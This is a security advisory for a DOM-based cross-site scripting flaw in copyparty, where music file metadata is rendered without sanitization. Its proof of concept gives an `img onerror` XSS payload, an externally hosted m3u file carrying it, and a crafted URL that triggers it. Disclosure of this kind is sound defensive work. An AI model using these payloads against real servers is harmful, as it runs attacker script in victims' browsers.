GHSA-9q4r-x2hj-jmvr
copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.
### Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>`
* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
### PoC
1. Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.
```m3u
#EXTM3U
#EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)>
http://example.com/audio.mp3
```
2. Craft and share the malicious URL:
```
http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
```
### Impact
Any user that accesses this malicious URL is impacted.
References
External links from the advisory. They lead to third-party sites.